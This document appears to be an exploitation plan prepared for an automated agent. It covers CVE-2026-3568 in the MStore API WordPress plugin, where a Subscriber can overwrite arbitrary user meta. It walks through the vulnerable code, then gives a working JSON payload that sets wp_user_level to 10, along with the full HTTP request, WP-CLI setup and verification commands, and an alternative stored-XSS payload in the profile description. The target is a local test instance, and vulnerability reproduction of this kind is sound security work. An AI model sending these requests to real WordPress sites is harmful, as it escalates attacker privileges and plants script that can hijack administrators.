Exploitation Research Plan: CVE-2026-3568 (MStore API Arbitrary User Meta Update)

1. Vulnerability Summary

The MStore API plugin (up to 4.18.3) contains an Insecure Direct Object Reference (IDOR) vulnerability in controllers/flutter-user.php. The function update_user_profile() reads raw JSON input from php://input, decodes it, and iterates through a user-provided meta_data array. It passes these keys and values directly to the WordPress update_user_meta() function without any validation, allowlisting, or sanitization. This allows an authenticated user (Subscriber level or higher) to update any meta field associated with their own account, including sensitive internal WordPress fields or plugin-specific authorization flags.

2. Attack Vector Analysis

• Endpoint: POST /wp-json/api/flutter_user/update (Inferred based on plugin naming conventions and function update_user_profile).
• Required Authentication: Authenticated (Subscriber or higher).
• Authentication Mechanism: The plugin uses a custom header User-Cookie containing the WordPress authentication cookie.
• Vulnerable Parameter: meta_data (JSON object within the POST body).
• Payload Carry: The JSON body sent to php://input.

3. Code Flow

1. Entry Point: A POST request is sent to the REST API route registered for update_user_profile in controllers/flutter-user.php.
2. Input Retrieval (Line 1012): The function uses file_get_contents('php://input') to read the raw request body.
3. JSON Decoding (Line 1013): The raw body is decoded into an associative array: $params = json_decode($json, TRUE);.
4. Authentication (Line 1015): The code extracts the User-Cookie header and validates the login using validateCookieLogin(). It sets the current user via wp_set_current_user($user_id).
5. Iteration (Line 1080): The function accesses $params['meta_data']. It iterates through this array:

   foreach ($params['meta_data'] as $key => $value) {
       update_user_meta($user_id, $key, $value);
   }
   

6. Sink: update_user_meta() is called with an attacker-controlled $key and $value, allowing modification of fields like wp_user_level.

4. Nonce Acquisition Strategy

Based on the provided source for other controllers (e.g., FlutterAuction, FlutterCheckout), this plugin prioritizes the User-Cookie header for session identification over standard WP REST nonces for its custom api/flutter_* namespaces.

1. Authentication: Log in as a Subscriber user via standard WordPress logic to obtain authentication cookies.
2. Cookie Extraction: The User-Cookie header should contain the value of the wordpress_logged_in_* cookie.
3. Bypass Check: In FlutterBaseController::checkApiPermission() (inferred), if the User-Cookie is valid, the request is typically allowed. No additional CSRF nonce appears to be required for this specific profile update path based on the vulnerability description.

5. Exploitation Strategy

The goal is to update the wp_user_level meta field. In WordPress, a user level of 10 is a legacy representation of an Administrator.

Step-by-Step Plan:

1. Login: Authenticate as a Subscriber user to get a valid session.
2. Identify Target: Target the wp_user_level meta key.
3. Construct Payload:

   {
     "meta_data": {
       "wp_user_level": "10"
     }
   }
   

4. Send Request: Use the http_request tool to send a POST request.

HTTP Request Details:

• Method: POST
• URL: http://localhost:8080/wp-json/api/flutter_user/update
• Headers:
  • Content-Type: application/json
  • User-Cookie: [WORDPRESS_LOGGED_IN_COOKIE_VALUE]
• Body:

  {
    "meta_data": {
      "wp_user_level": "10"
    }
  }
  

6. Test Data Setup

1. Create User: Create a standard Subscriber user.
   • wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
2. Verify Initial State:
   • wp user meta get attacker wp_user_level (Should be 0)

7. Expected Results

• The server should return a 200 OK or true (as seen in FlutterAuction::placebid).
• The wp_user_level for the attacker user in the wp_usermeta table will be updated to 10.

8. Verification Steps

1. Check Meta via WP-CLI:
   • wp user meta get attacker wp_user_level
   • Expected Output: 10
2. Check Admin Access: Try accessing a legacy admin check or verify if plugin-specific admin logic now treats this user as high-privileged.

9. Alternative Approaches

If api/flutter_user/update is not the correct route:

1. Route Discovery: Use wp-cli to list all registered REST routes to find the exact path for update_user_profile.
   • wp rest route list | grep flutter_user
2. Target Other Meta: If wp_user_level is protected by internal WordPress filters (though unlikely for update_user_meta), target plugin-specific flags such as:
   • _wpuf_user_active (WP User Frontend)
   • aiowps_account_status (All In One WP Security)
   • description (To inject XSS: {"meta_data": {"description": "<script>alert(1)</script>"}}) which might execute in the admin user profile view.

(Note: The wp_capabilities field is not a viable target here because update_user_meta would save the string provided, whereas WordPress expects a serialized array for that specific key. However, wp_user_level is a simple integer and is perfectly exploitable.)